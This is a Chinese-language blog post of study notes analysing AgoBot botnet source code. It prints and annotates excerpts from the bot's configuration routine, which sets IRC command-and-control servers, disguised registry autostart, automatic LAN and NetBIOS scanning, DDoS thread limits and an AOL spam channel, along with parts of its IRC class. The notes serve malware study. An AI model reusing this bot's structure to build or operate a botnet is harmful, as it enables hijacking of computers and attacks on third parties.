您的位置:首页 > 理论基础 > 计算机网络

AgoBot 僵尸网络研究笔记(五)

2008-03-11 18:34 204 查看

五、08年03月06日


作者:青青子衿
email:anzijin@sina.com

1、 random.h文件分析,该文件中函数的作用应该是完成产生随机函数相关功能,存在三个函数
(1) 、 void init_random (); 函数,初始化随机因子
void init_random ()
{
srand ( GetTickCount ());
}

(2) 、 int brandom ( int bot , int top ); 函数,产生一个指定范围的随机数
////////////////////////////////////////////////////////////
//
//函数功能:产生一个指定范围的随机数
//参数: int bot 随机数范围的下限
// int top 随机数范围的上线
//返回值:int 返回值为产生的随机数
//
//////////////////////////////////////////////////////////////
int brandom ( int bot , int top )
{
return ( int )(( float )( top - bot )* rand ()/( RAND_MAX +1.0))+ bot ;
}

(3)、 int get_random_number ( int range ); 函数, 产生一个0——range的随机函数
////////////////////////////////////////////////////////////////
//
//函数功能:产生一个0——range的随机函数
//参数: int range 产生随机数范围的上限
//返回值: 返回值为产生的随机数
//
/////////////////////////////////////////////////////////////////
int get_random_number ( int range )
{
return rand ()% range ;
}

2、 class CBot : public CCommandHandler 类的分析

有10个成员函数:
public :
CBot ();
void Init ();
void Config ();
void Recv ( CMessage * pMsg );
bool HandleMsg ( CMessage * pMsg );
bool Think ();

CString SysInfo ();
CString LongUptime ( int iDays );
CString Status ();

若干个成员变量:
bool m_bJoined ;
unsigned long m_lStartTime ;
cvar 类型的变量若干个
command 类型的变量若干个
irc_server 类型的变量若干个
类的结构大概就这样的情况,由于该类比较复杂,具体分析将在后便逐步展开。

3、 void CBot :: Config () 配置文件子函数,主要功能是配置bot的服务器IP,频道名称,端口号,等信息,对于这个bot的有效运行非常重要。该成员还是也是 CBot 类的初始化函数 void Init(); 中首先调用的一个函数。

void CBot :: Config ()
{
init_random ();

int iCryptKey =10;
CString sTemp ;
sTemp . Format ( "%d" , brandom (500, 22226)); //产生500至22226之间的一个随机数,作为bot端的端口

//这里设置的是cBot类中的成员变量中irc_server类型的变量中包含的子类型变量的值。

// void RegisterCvar(cvar *pCvar, const char *szName, const char *szValue, const char *szDescription, bool bSave, bool bEncrypted, int iKey);
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "CompName Generated Nick" , false , false ,0);

// The root server, this will be the most often used one
//对主IRC服务器的设置
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_chanpass , "si_server_root.chanpass" ,
"" , "Server Info - Channel Password" , false , false , 0 ); //频道的密码

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_mainchan , "si_server_root.mainchan" ,
"#channel" , "Server Info - Main Channel" , false , false , 0 ); //(主)频道名

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_nickprefix , "si_server_root.nickprefix" ,
"Ago-" , "Server Info - Nickname prefix" , false , false , 0 ); //昵称前缀
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_port , "si_server_root.port" ,
"6667" , "Server Info - Server Port" , false , false , 0 ); //IRC服务器的端口
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_server , "si_server_root.server" ,
"irc.somewhere.org" , "Server Info - Server Address" , false , false , 0 ); //IRC服务器的域名或IP
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_servpass , "si_server_root.servpass" ,
"" , "Server Info - Server Password" , false , false , 0 ); //IRC服务器登录密码
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_usessl , "si_server_root.use_ssl" ,
"false" , "Server Info - Use SSL ?" , false , false , 0 ); //是否使用SSL加密

g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServerRoot ); //将主服务器信息,添加到服务器信息列表中l;

// Backup server 0 对第0个后备IRC服务器的设置
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_chanpass , "si_server_0.chanpass" , /
"" , "Server Info - Channel Password" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_mainchan , "si_server_0.mainchan" , /
"#channel" , "Server Info - Main Channel" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_nickprefix , "si_server_0.nickprefix" , /
"Ago-" , "Server Info - Nickname prefix" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_port , "si_server_0.port" , /
"6667" , "Server Info - Server Port" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_server , "si_server_0.server" , /
"irc2.somewhere.org" , "Server Info - Server Address" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_servpass , "si_server_0.servpass" , /
"" , "Server Info - Server Password" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_usessl , "si_server_0.use_ssl" , /
"false" , "Server Info - Use SSL ?" , false , false , 0 );

g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServer0 ); //将主服务器信息,添加到服务器信息列表中

//从这里直接设置的是cBot类中的个成员变量。

//猜测is表示bot端到IRC服务器的通讯
//猜测si标识IRC服务器到bot端的通讯
g_cMainCtrl . m_cCVar . RegisterCvar (& si_chanpass , "si_chanpass" , "" , "Server Info - Channel Password" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_mainchan , "si_mainchan" , "" , "Server Info - Main Channel" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_nickprefix , "si_nickprefix" , "" , "Server Info - Nickname prefix" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_port , "si_port" , "" , "Server Info - Server Port" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_server , "si_server" , "" , "Server Info - Server Address" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_servpass , "si_servpass" , "" , "Server Info - Server Password" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_usessl , "si_usessl" , "" , "Server Info - Use SSL ?" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& si_nick , "si_nick" , "" , "Server Info - Nickname" , false , false , 0 );

//关于Bot的信息,
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_version , "bot_version" , VERSION_AGOBOT , "Bot - Version" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_filename , "bot_filename" , "filename.exe" , "Bot - Runtime Filename" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_id , "bot_id" , "a3-100" , "Bot - Current ID" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_prefix , "bot_prefix" , "." , "Bot - Command Prefix" , false , false , 0 ); //命令前缀

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_ftrans_port , "bot_ftrans_port" , sTemp . CStr (), "Bot - File Transfer Port" , false , false , 0 ); //文件传输的端口

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_timeout , "bot_timeout" , "720000" , "Bot - Timeout for receiving in miliseconds" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_seclogin , "bot_seclogin" , "false" , "Bot - Enable login only by channel messages" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "Bot - Use the computer name as a nickname" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& as_valname , "as_valname" , "Configuration Loader" , "Autostart - Value Name" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& as_enabled , "as_enabled" , "true" , "Autostart - Enabled" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& scan_maxthreads , "scan_maxthreads" , "100" , "Scanner - Maximum Number of threads" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto , "scan_auto" , "true" , "Scanner - Autoscan local network" , false , false , 0 ); //是否自动扫描本地网络(局域网)

g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto , "scan_auto_nb" , "true" , "Scanner - Autoscan LAN for NetBIOS" , false , false , 0 ); //是否自动使用

g_cMainCtrl . m_cCVar . RegisterCvar (& ddos_maxthreads , "ddos_maxthreads" , "100" , "DDOS - Maximum Number of threads" , false , false , 0 ); //DOS攻击时的最大线程数

g_cMainCtrl . m_cCVar . RegisterCvar (& redir_maxthreads , "redir_maxthreads" , "100" , "Redirect - Maximum Number of threads" , false , false , 0 ); //应该与代理相关,具体的作用还不清楚

g_cMainCtrl . m_cCVar . RegisterCvar (& identd_enabled , "identd_enabled" , "false" , "IdentD - Enable the server" , false , false , 0 );

g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_channel , "spam_aol_channel" , "#aolspam" , "AOL Spam - Channel name" , false , false , 0 ); //作用还不清楚

g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_enabled , "spam_aol_enabled" , "true" , "AOL Spam - Channel name" , false , false , 0 ); //作用还不清楚

//将前面设置的g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot);放进去的信息,取出来,对&g_cMainCtrl.m_cBot中的信息进行设置
//前面所设置的信息是保存在Irc_resever类中的,在这里再将这些信息放回cBot类中
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_chanpass , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_chanpass . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_mainchan , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_mainchan . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_nickprefix , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_nickprefix . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_port . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_server . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_servpass . sValue . CStr ());

g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_usessl , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_usessl . sValue . CStr ());

// Use MD5 Passwords, for security reasons
g_cMainCtrl . m_cMac . AddUser ( "User" , "MYMD5HASHWILLBEBIGBADANDLONGHEHE" , "Netmask.Net" , "" ); // "password"
}

4、由于在 Config (); 函数中使用到了 CIRC 的内容,所以这里决定再过CBot类剩余成员函数功能的分析,先来最 CIRC 类进行一个初步的分析。
以下是对CIRC类的分析。
class CIRC : public CThread , public CCommandHandler 同时继承了 CThread 和 CCommandHandler 两个类
其中包括12个成员函数:并且12个成员函数均为公有函数
CIRC ();
virtual ~ CIRC () { };
virtual void * Run ();
void Init ();
bool HandleCommand ( CMessage * pMsg );
bool SendRaw ( char * szMsg );
bool SendRawFormat ( const char * szFmt , ...);
bool SendMsg ( bool bSilent , bool bNotice , char * szMsg , char * szDst );
bool SendFormat ( bool bSilent , bool bNotice , char * szDst , const char * szFmt , ...);
void Fail ();
void Disconnect ();
CString NetInfo ();

以及多个成员变量: 也均为公有类型
CSSLSocket m_csslSocket ; // The SSL socket
bool m_bConnected ; // Am I connected ?
bool m_bJoined ; // Have I joined the channel ?
bool m_bRunning ; // Am I still running ?
int m_sSocket ; // The socket connected to the server
int m_iFailCount ; // Number of failed connections to the server
int m_iServerNum ; // The current server index in vector
unsigned long m_lLastRecv ; // Last recv time for timeout
CString m_sLocalHost ; // The local hostname
CString m_sLocalIp ; // The local ip
unsigned long m_lLocalAddr ; // The local address as unsigned long
command m_cmdDisconnect , m_cmdAction , m_cmdGetEdu , m_cmdGetHost , m_cmdJoin , m_cmdMode , m_cmdNetInfo , m_cmdPart , m _cmd PrivMsg , m_cmdQuit , m_cmdRaw , m_cmdReconnect , m_cmdServer ;
vector < irc_server *> m_vServers ;

下面是 irc_server 结构体的具体定义
//记录IRC服务器信息的结构体
typedef struct irc_server_s
{
cvar si_nickprefix ; //昵称的前缀
cvar si_servpass ; //服务器的密码
cvar si_server ; //服务器
cvar si_port ; //端口
cvar si_chanpass ; //频道的密码
cvar si_mainchan ; //频道的名称
cvar si_usessl ; //使用ssl加密协议的情况

} irc_server ;

(1) 、 CIRC () 构造函数
/////////////////////////////////////////////////////
//
//函数功能:构造函数,对类的变量进行初始化等工作
//
/////////////////////////////////////////////////////
CIRC :: CIRC ()
{
// Initialize/Clear all variables
m_bRunning = true ;
m_bConnected = false ;
m_bJoined = false ;
m_sSocket = INVALID_SOCKET ;
m_iFailCount =0;
m_iServerNum =0;
m_sLocalHost . Assign ( "" ); // Clear the localhost to prevent crash with servers that don't do userhost

m_lLastRecv = GetTickCount (); //获得当前的时间

// Initialize SSL Socket
m_csslSocket . Init ();
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: